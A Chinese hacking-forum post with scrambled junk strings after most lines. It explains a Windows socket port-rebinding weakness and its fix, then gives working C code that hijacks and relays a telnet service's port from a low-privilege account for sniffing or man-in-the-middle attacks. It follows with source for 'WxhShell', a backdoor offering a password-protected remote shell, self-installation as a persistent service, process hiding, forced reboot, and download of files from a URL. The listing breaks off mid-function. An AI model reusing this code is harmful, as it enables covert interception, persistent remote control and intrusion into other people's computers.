社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19235阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  c^rC8E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h] <GTWj  
C?8PT/  
  saddr.sin_family = AF_INET; I; ^xAd3G  
3T"2S[gT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VIb;96$Or  
92s4u3 L;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BO[+E' 2  
j'\>Nn+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !&qx7eOSpP  
&Q2NU$  
  这意味着什么?意味着可以进行如下的攻击: 9*BoYFw92*  
pi|\0lH6W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]gb _Nv  
cZ6?P`X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NAJ '><2  
f+{c1fb>s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ur?d6 a  
n; Lo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ThjUiuWe  
@mvIt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zB;'_[8M  
AU3auBol ^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Tnf&pu#5  
MKV=m8G=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2r %>]y  
cR,'o'V/  
  #include 65'`uuPx  
  #include 8FAT(f//.  
  #include ^!q 08`0  
  #include    eVJ= .?r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <9=zP/Q  
  int main() X'YfjbGo  
  { qsD?dHi7  
  WORD wVersionRequested; wYZy e^7  
  DWORD ret; W/b"a?wE{  
  WSADATA wsaData; s.f`.o  
  BOOL val; B0 6s6Q  
  SOCKADDR_IN saddr; >_rzT9gX&  
  SOCKADDR_IN scaddr; -kWO2  
  int err; j kSc&  
  SOCKET s; kTr6{9L  
  SOCKET sc; OD{5m(JwL  
  int caddsize; n;e."^5  
  HANDLE mt; ;7;zhJs1t  
  DWORD tid;   n/ui<&(  
  wVersionRequested = MAKEWORD( 2, 2 ); {CW1t5$*  
  err = WSAStartup( wVersionRequested, &wsaData ); Tm (Q@  
  if ( err != 0 ) { _Syre6k  
  printf("error!WSAStartup failed!\n"); <]Ij(+J;  
  return -1; FgXu1-  
  } 29&sydu  
  saddr.sin_family = AF_INET; "2*G$\  
   qXXYF>Z-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CkmlqqUHC  
{ z-5GH|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Hlz'a1\:O]  
  saddr.sin_port = htons(23); pw0Px  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f 1sy9nQs  
  { sjkWz2]S  
  printf("error!socket failed!\n"); %M|Z}2qv  
  return -1; 8:Z@lp^  
  } KC&H*  
  val = TRUE; aQz|!8Is  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mgmWDtxN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ah6wU|_-g  
  { pWWL{@J  
  printf("error!setsockopt failed!\n"); %4?SY82  
  return -1; qFvg}}^y  
  } ~5lKL5w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aQ.Iq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vpZu.#5c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1"8Z y6t  
`4q5CJ2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *ah>-}-  
  { v_y!Oh?EG  
  ret=GetLastError(); {Q{lb(6Ba  
  printf("error!bind failed!\n"); z7O Z4R:  
  return -1; 0!9?H1>  
  } ^+(A&PyP?  
  listen(s,2); *>H M$.?Q  
  while(1) \(.nPW]9  
  { 0_YxZS\  
  caddsize = sizeof(scaddr); BP)q6?Mz  
  //接受连接请求 9oZ } h&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @5{.K/s  
  if(sc!=INVALID_SOCKET) 1Z^`l6|2  
  { Ha46U6_'h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J!21`M-Ue  
  if(mt==NULL) i /O1vU#  
  { !!?+M @  
  printf("Thread Creat Failed!\n"); Y|{r vBKjf  
  break; -ET*M<  
  } >yV)d/  
  } T0@](g  
  CloseHandle(mt); W?*Xy6",JF  
  }  ET >S  
  closesocket(s); [@,OG-"&  
  WSACleanup(); 8zP:*|D  
  return 0; tc+GR?-7W  
  }   t_[M &  
  DWORD WINAPI ClientThread(LPVOID lpParam) tIn7(C  
  { [;>zqNy  
  SOCKET ss = (SOCKET)lpParam; r;&]?9)W0  
  SOCKET sc; -mev%lV  
  unsigned char buf[4096]; c!'A)JD@  
  SOCKADDR_IN saddr; Ze [g0"  
  long num; Y9IJ   
  DWORD val; Cm,*bgX  
  DWORD ret; @<@R=aqE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %8}WX@SB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ua]\xBWx  
  saddr.sin_family = AF_INET; YtwmlIar`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \Dvl%:8   
  saddr.sin_port = htons(23); /0 B07B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W~XV  
  { 4kW 30Ma  
  printf("error!socket failed!\n"); wx]+*Lzz  
  return -1; c,#~L7  
  } J~_L4* Jw  
  val = 100; nUI63?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p56KS5duI.  
  { )bB"12Z|8  
  ret = GetLastError(); P#dG]NMf  
  return -1; M iP[UCh  
  } d1srV`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "_ PH"W  
  { b xk'a,!S  
  ret = GetLastError(); ^@|<'g.R-  
  return -1; >< <$  
  } <GL}1W"Ay  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ql#{=oGDnA  
  { Q{J"`d2  
  printf("error!socket connect failed!\n"); ?6gDbE%  
  closesocket(sc); !(MA5L-  
  closesocket(ss); Q%,o8E2~  
  return -1; nZ2mEt  
  } fWtb mUq  
  while(1) aH5t.x79b  
  { I3}HNGvU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *6 z'+'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zh#OD{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ue6/EN;}  
  num = recv(ss,buf,4096,0); ,$MWk(S  
  if(num>0) nvO%  
  send(sc,buf,num,0); Nt`F0 9S  
  else if(num==0) Z/V`Z* fy  
  break; UA69_E{JCH  
  num = recv(sc,buf,4096,0); LW83Y/7  
  if(num>0) _/QKWk&j  
  send(ss,buf,num,0); *([0"  
  else if(num==0) boC>N   
  break; h3UZ|B0=  
  } 'NQMZfz  
  closesocket(ss); p?Z+z  
  closesocket(sc); xWenKY,  
  return 0 ; @!L@UP0  
  } t7C!}'g&'  
|: 7EJkKZ  
9}%~w(P  
========================================================== yBYuDfeZ  
5p]urfN-f  
下边附上一个代码,,WXhSHELL h@PMCmf_  
dyQ<UT  
========================================================== 7.lK$J:  
8 7|8eU2:k  
#include "stdafx.h" O" X!S_R  
:)A.E}G  
#include <stdio.h> VV0EgfJ  
#include <string.h> %9~kA5Qj  
#include <windows.h> KV^:sxU  
#include <winsock2.h> q_9N+-?{7  
#include <winsvc.h> >+A1 V[  
#include <urlmon.h> .v #0cQX+.  
8T>3@kF  
#pragma comment (lib, "Ws2_32.lib") y]QQvCJr3d  
#pragma comment (lib, "urlmon.lib") M/8#&RycQ  
,%)WT>  
#define MAX_USER   100 // 最大客户端连接数 &;NNU T>Q  
#define BUF_SOCK   200 // sock buffer |k7ts&2  
#define KEY_BUFF   255 // 输入 buffer Q ^1#xBd  
MQ9M%>  
#define REBOOT     0   // 重启 ,z0~mN  
#define SHUTDOWN   1   // 关机 ~L \(/[  
gNEzlx8A  
#define DEF_PORT   5000 // 监听端口 H649J)v+m  
evndw>  
#define REG_LEN     16   // 注册表键长度 K*HVn2OV  
#define SVC_LEN     80   // NT服务名长度 &|'Kut?8  
.swgXiRvs  
// 从dll定义API 5fvUv"m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C$2o o@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NR;S3-Iq(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z/P^-N>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o3TBRn,  
FM;;x(sg  
// wxhshell配置信息 nL7S3  
struct WSCFG { NSiYUAu g  
  int ws_port;         // 监听端口 6bRQL}[  
  char ws_passstr[REG_LEN]; // 口令 =CG!"&T  
  int ws_autoins;       // 安装标记, 1=yes 0=no r$3~bS$]  
  char ws_regname[REG_LEN]; // 注册表键名 N) V7yo?  
  char ws_svcname[REG_LEN]; // 服务名 1v[#::Bs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vne. HFXA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \J3v>&m<7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % Zl_{Q]h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %b>y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U"%8"G0)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 35@Ibe~  
e%@[d<Ta\  
}; -?%{A%'  
M$>WmG1~D  
// default Wxhshell configuration *xZQG9`kt  
struct WSCFG wscfg={DEF_PORT,  jKb=Zkd  
    "xuhuanlingzhe", d9[6kQ]  
    1, H z < M  
    "Wxhshell", Skk3M?  
    "Wxhshell", vUIK4uR.  
            "WxhShell Service", ,h^;~|GT  
    "Wrsky Windows CmdShell Service", <2TB9]2. g  
    "Please Input Your Password: ", X/;"CM  
  1, ,39$iHk  
  "http://www.wrsky.com/wxhshell.exe", z hR_qW+  
  "Wxhshell.exe" 6Ymo%OT  
    }; kGBl)0pr`x  
PU@U@  
// 消息定义模块 i*cE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @h7GTA \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]uj.uWD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Tm~#wL +r  
char *msg_ws_ext="\n\rExit."; U*qK*"k  
char *msg_ws_end="\n\rQuit."; K_lCDiqG  
char *msg_ws_boot="\n\rReboot..."; 0R%uVJG  
char *msg_ws_poff="\n\rShutdown..."; c;t(j'k`  
char *msg_ws_down="\n\rSave to "; BorfEv} SN  
P+zI9~N[  
char *msg_ws_err="\n\rErr!"; <1'X)n&Kw$  
char *msg_ws_ok="\n\rOK!"; = VX<eV  
@=zBF'<.9  
char ExeFile[MAX_PATH]; uy*x~v*I]  
int nUser = 0; 82@;.%  
HANDLE handles[MAX_USER]; H{tOCYyD  
int OsIsNt; T=f;n;/>  
DRmh(T  
SERVICE_STATUS       serviceStatus; 7q{v9xKy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BI]ut |Qw  
~cg+BAfu  
// 函数声明 uTlT'9)  
int Install(void); Bdk{.oh6  
int Uninstall(void); nO.+&kA  
int DownloadFile(char *sURL, SOCKET wsh); - 5-SlQu  
int Boot(int flag); hk$nlc|$  
void HideProc(void);  9jzLXym  
int GetOsVer(void); u2.r,<rC*Q  
int Wxhshell(SOCKET wsl); 2S10j%EeI  
void TalkWithClient(void *cs); WCfe!P?g  
int CmdShell(SOCKET sock); &40JN}  
int StartFromService(void); [Ey%uh 6*  
int StartWxhshell(LPSTR lpCmdLine); &LxzAL,3!  
/ jL{JF>I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u%IKM \  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r0$9c  
5tCq}]q#P  
// 数据结构和表定义 ]#7Y @Yo  
SERVICE_TABLE_ENTRY DispatchTable[] = 4[EO[x4C  
{ v%8-Al^G  
{wscfg.ws_svcname, NTServiceMain}, ThQEQ6y  
{NULL, NULL} Ynh4oWUp  
}; {^19.F  
#y9K-}u  
// 自我安装 ^[\53\R~  
int Install(void) Ew,wNR`  
{ *1$~CC7  
  char svExeFile[MAX_PATH]; .LTFa.jxA  
  HKEY key; O>):^$-K%  
  strcpy(svExeFile,ExeFile); #pn AK  
9 0if:mYA  
// 如果是win9x系统,修改注册表设为自启动 2mp>Mn~K^  
if(!OsIsNt) { E~O>m8hF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7R`ZTfD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9kg>)ty@  
  RegCloseKey(key); +5}T!r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |(w#NE5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E#V-F-@2  
  RegCloseKey(key); FCB/FtI0  
  return 0; ghO//?m  
    } j 8AR#  
  } N{z(|2{A#  
} {|wTZ  
else { ,'{B+CHoS  
\,#4+&4b  
// 如果是NT以上系统,安装为系统服务 7Hlh (k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Fz6+m;Z  
if (schSCManager!=0) *M!YQ<7G^d  
{ |/Q."d  
  SC_HANDLE schService = CreateService Hf]}OvT>Z  
  ( AA%g^PWpR  
  schSCManager, LYT<o FE-  
  wscfg.ws_svcname, xcRrI|?eC  
  wscfg.ws_svcdisp, Jz8#88cY  
  SERVICE_ALL_ACCESS, tZBE& :l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UHl/AM> !  
  SERVICE_AUTO_START, )PNH| h  
  SERVICE_ERROR_NORMAL, 8uD%]k=#!  
  svExeFile, <^c0bY1  
  NULL, `TR9GWU+B  
  NULL, "uER a(i  
  NULL, (>lqp%G~  
  NULL, ej53O/hP  
  NULL /@}# K P=  
  ); cZF;f{t  
  if (schService!=0) ,^[37/S  
  { b020U>)v  
  CloseServiceHandle(schService); 7 ,~Krzv  
  CloseServiceHandle(schSCManager); GIl{wd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f! Nc+  
  strcat(svExeFile,wscfg.ws_svcname); ZrT|~$*m`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <;Z~ vZ]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -ns a3P  
  RegCloseKey(key);  X_S]8Aa  
  return 0; Fm~}A4  
    } mNB ]e5 ;N  
  } %z_b/yG  
  CloseServiceHandle(schSCManager); -@?>nLQb  
} bN %MT#X  
} {YLJKu!M  
 p.Yg-CA  
return 1; U1tPw`0h  
} f5XcBW9E  
{$=%5  
// 自我卸载 BqAwo  
int Uninstall(void) X"59`Yh  
{ bGnJ4R3J  
  HKEY key; eb woMG,B-  
7ib<Cb>K  
if(!OsIsNt) { #yOY&W:N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { znpZ0O\!  
  RegDeleteValue(key,wscfg.ws_regname); RwHXn]1  
  RegCloseKey(key); Os]M$c_88  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5fv6RQD  
  RegDeleteValue(key,wscfg.ws_regname); %Ne>'252y  
  RegCloseKey(key); XE%6c3s  
  return 0; *njB fH'  
  } bv"({:x  
} Bm>(m{sX>  
} ^Iq.0E9_  
else { Nxk'!:  
l),13"?C(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 32'9Ch.  
if (schSCManager!=0) %R"nm  
{ g+F_M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iJ#oI@s  
  if (schService!=0) QZP;k!"w  
  { E1[%~Cpw*  
  if(DeleteService(schService)!=0) { I=I%e3GEm  
  CloseServiceHandle(schService); :dc J6  
  CloseServiceHandle(schSCManager); P?ol]MwaB  
  return 0; z1A-EeT  
  } !.N=Y;@lY  
  CloseServiceHandle(schService); m5g: Q  
  } oK[,xqyA  
  CloseServiceHandle(schSCManager); e+aQ$1^t  
} FJ. :*K[  
} jH/%Z5iu  
9Dkgu ^`  
return 1; k(^b  
} skArocs  
RtEkd_2  
// 从指定url下载文件 l'R`XGT  
int DownloadFile(char *sURL, SOCKET wsh) IMEoov-x  
{ +T;qvx6  
  HRESULT hr; ;:1mv  
char seps[]= "/"; lK@r?w|<M  
char *token; '*.};t~;"d  
char *file; : P2;9+v  
char myURL[MAX_PATH]; ~qxc!k!w4  
char myFILE[MAX_PATH]; 2M`Ni&v  
+}'K6x_  
strcpy(myURL,sURL); "FD~XSRL  
  token=strtok(myURL,seps); CtxK{:  
  while(token!=NULL) j KK48S  
  { Z)4P>{  
    file=token; YZD]<ptR  
  token=strtok(NULL,seps); MkG ->*  
  } Jrl xa3 [  
>rGlj  
GetCurrentDirectory(MAX_PATH,myFILE); SjU6+|l  
strcat(myFILE, "\\"); m8`A~  
strcat(myFILE, file); 1 crjRbi  
  send(wsh,myFILE,strlen(myFILE),0); F.hC%Ncu  
send(wsh,"...",3,0); OQyOv%g5C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GQ8P}McA  
  if(hr==S_OK) ThB2U(Wf  
return 0; M](U"K?  
else r73Xh"SL  
return 1; 3g?T,| 2K  
8ttw!x69)_  
} Ric$Xmu  
#SOe &W5  
// 系统电源模块 h@8  
int Boot(int flag) W`kgYGnFG  
{ .!! yj,bQz  
  HANDLE hToken; sk/ Mh8z  
  TOKEN_PRIVILEGES tkp; bZJiubBRI  
dD!SgK[Jv  
  if(OsIsNt) { N9Vcp~;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); **[p{R]8o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b*7i&q'H  
    tkp.PrivilegeCount = 1; z""(M4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !b_IH0]U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _l<"Qqt  
if(flag==REBOOT) { PV Q%y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X?a67qL  
  return 0; umYdr'p!v  
} S([De"y  
else { F!'"mU<f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mZ%\`H+  
  return 0; SuSZ,>  
} d?qz7#kc  
  } XO>Y*7rO  
  else { 4|UIyDt8  
if(flag==REBOOT) { Pr"ESd>Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qKXn=J/0tA  
  return 0; s,= ^V/c  
} v%w]Q B  
else { fk_i~K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .l!Z=n|  
  return 0; ^ TS\x/P  
} MvA_tRO  
} ~Fh(4'  
Urr1 K)  
return 1; 9:WKG'E8a  
} Ig2VJs;  
~Hf,MLMdTf  
// win9x进程隐藏模块 |ipppE=  
void HideProc(void) _4w%U[GT,  
{ 'tj4;+xf^  
IG\\RYr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6W o7q\"  
  if ( hKernel != NULL ) ubw ]}sfM#  
  { ?T"crX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]  D(3   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bE{`g]C5  
    FreeLibrary(hKernel); l;fH5z  
  } %]` WsG  
pD9c%P  
return; +J}M$e Q  
} 8,Z0J  
' =kX   
// 获取操作系统版本 :0l(Ll KD  
int GetOsVer(void) ))vwofkw4  
{ l%O-c}X  
  OSVERSIONINFO winfo; 3`y:W9!u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A{k@V!A%  
  GetVersionEx(&winfo); {u5@Yp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? "gy`oCv  
  return 1; }\F>z  
  else 6)8']f  
  return 0; +}!eAMQ  
} 8MdKH7  
c}lgWu~  
// 客户端句柄模块 :>5]A6Wi  
int Wxhshell(SOCKET wsl) ~tWBCq 6  
{ aNz%vbh\  
  SOCKET wsh; /:DxB00  
  struct sockaddr_in client; b< rM3P;  
  DWORD myID; \]D;HR`vo  
e-WaK0Ep  
  while(nUser<MAX_USER) [ kknY+n1  
{ Ptg73Gm&R  
  int nSize=sizeof(client); 'nul{RE*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UkC\[$-"\  
  if(wsh==INVALID_SOCKET) return 1; cjL!$OE6  
;%)i/MGEB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =[$*PTe  
if(handles[nUser]==0) ^s-3U  
  closesocket(wsh); kF5}S8B  
else xiiZ'U  
  nUser++; p ,!`8c6  
  } ;Mc}If*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P%.5xYn  
CfAqMH*ip  
  return 0; 0t~--/lA  
} x8H)m+AW  
Hi9]M3Ub  
// 关闭 socket l/]P6 @N  
void CloseIt(SOCKET wsh) >wn&+%i&  
{ W^x[ma z  
closesocket(wsh); @1pdyKK  
nUser--; B3D4fYQ  
ExitThread(0); gm8H)y,  
} ^a]:GPc  
nL$tXm-x  
// 客户端请求句柄 Au {`o xD  
void TalkWithClient(void *cs) zAH+{4lC+  
{ k $);<= ZI  
`>V.}K^4  
  SOCKET wsh=(SOCKET)cs; ZE9*i}r  
  char pwd[SVC_LEN]; OygYP  
  char cmd[KEY_BUFF]; ?E`J-ncP  
char chr[1]; _tjH=Ff$  
int i,j; %w@(V([(c  
1 >Op)T>{c  
  while (nUser < MAX_USER) { qIk6S6  
i|<*EXB"  
if(wscfg.ws_passstr) { 4bO7rhve  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?;$g,2n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DN!EsQ6  
  //ZeroMemory(pwd,KEY_BUFF); T]:5y_4?[  
      i=0; `s+qz  
  while(i<SVC_LEN) { 6x{B  
dO=<3W  
  // 设置超时 S SzOz-&GA  
  fd_set FdRead; 6 @d( <Z  
  struct timeval TimeOut; 9SrV,~zD  
  FD_ZERO(&FdRead); TiOvrp7B  
  FD_SET(wsh,&FdRead); 9(C Ke,  
  TimeOut.tv_sec=8; -~5yl}  
  TimeOut.tv_usec=0; xsa* XR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5=dg4"b]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3 3V/<v  
XdB8Oj~~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d#(xP2  
  pwd=chr[0]; Z/0M9 Q%  
  if(chr[0]==0xd || chr[0]==0xa) { X9P-fF?0  
  pwd=0; )a.U|[:y[+  
  break; jQc0_F\  
  } ?O_;{(F_  
  i++; CV`  I.  
    } { d/k0H  
| o?@Eh  
  // 如果是非法用户,关闭 socket /5o~$S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "e(N h%t  
} q[+];  
, w_Ew  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); shi#K<gVC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?e BN_a,r6  
55#H A?cR  
while(1) { $`uL^ hlj]  
Kp"o0fh<9  
  ZeroMemory(cmd,KEY_BUFF); \Wo,^qR  
hWUZn``U$|  
      // 自动支持客户端 telnet标准   #bGt%*Re p  
  j=0; SDot0`s>  
  while(j<KEY_BUFF) { Uzc`,iV$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rod{77  
  cmd[j]=chr[0]; 8U-}%D<a  
  if(chr[0]==0xa || chr[0]==0xd) { 1|zo -'y  
  cmd[j]=0; G6I>Ry[2?  
  break; SnVnC09y  
  } V8c&2rNa  
  j++; KQEnC`Nz  
    } `InS8PLr  
U?kJXM2  
  // 下载文件 kefQH\<X  
  if(strstr(cmd,"http://")) { ?&N JN/+%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #vIF]Y  
  if(DownloadFile(cmd,wsh)) IQR?n}ce  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wc ^z9y  
  else S3 &L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TEY%OI zU+  
  } M*t{?o/t;  
  else { RhYf+?2  
nlJxF5/  
    switch(cmd[0]) { Fd3V5h  
  N5 g!,3  
  // 帮助 0{ \AP<  
  case '?': { Q|;8\5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iLgWzA  
    break; Yw./V0Z{@  
  } pwm ]2}+  
  // 安装 Xbfn@7m  
  case 'i': { EKgTRRW  
    if(Install()) HogT#BMs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1}'|HAu  
    else M[SWMVN{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p0[ %+n%  
    break; :]:q=1;c  
    } nq r[HFWs  
  // 卸载 ~ZT(@w  
  case 'r': { 1{_;`V  
    if(Uninstall()) 6VIi nuOW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  d':c  
    else @'dtlY5;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c\7~_w2  
    break; hbn2(e;FZ  
    } IRD?.K]*  
  // 显示 wxhshell 所在路径 !A g W @  
  case 'p': { 85-00m ~  
    char svExeFile[MAX_PATH]; U@DIO/C,m`  
    strcpy(svExeFile,"\n\r"); H htAD Y  
      strcat(svExeFile,ExeFile); PY~cu@'k{  
        send(wsh,svExeFile,strlen(svExeFile),0); $o5<#g"/T  
    break; cR _ 8 5  
    } `Fnt#F}  
  // 重启 ~Sh8. ++}  
  case 'b': { c?IFI   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v, 9MAZ,  
    if(Boot(REBOOT)) }fdo Aid~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L-vy,[9)[*  
    else { )nQA) uz  
    closesocket(wsh); D&$%JT'3  
    ExitThread(0); dy`K5lC@  
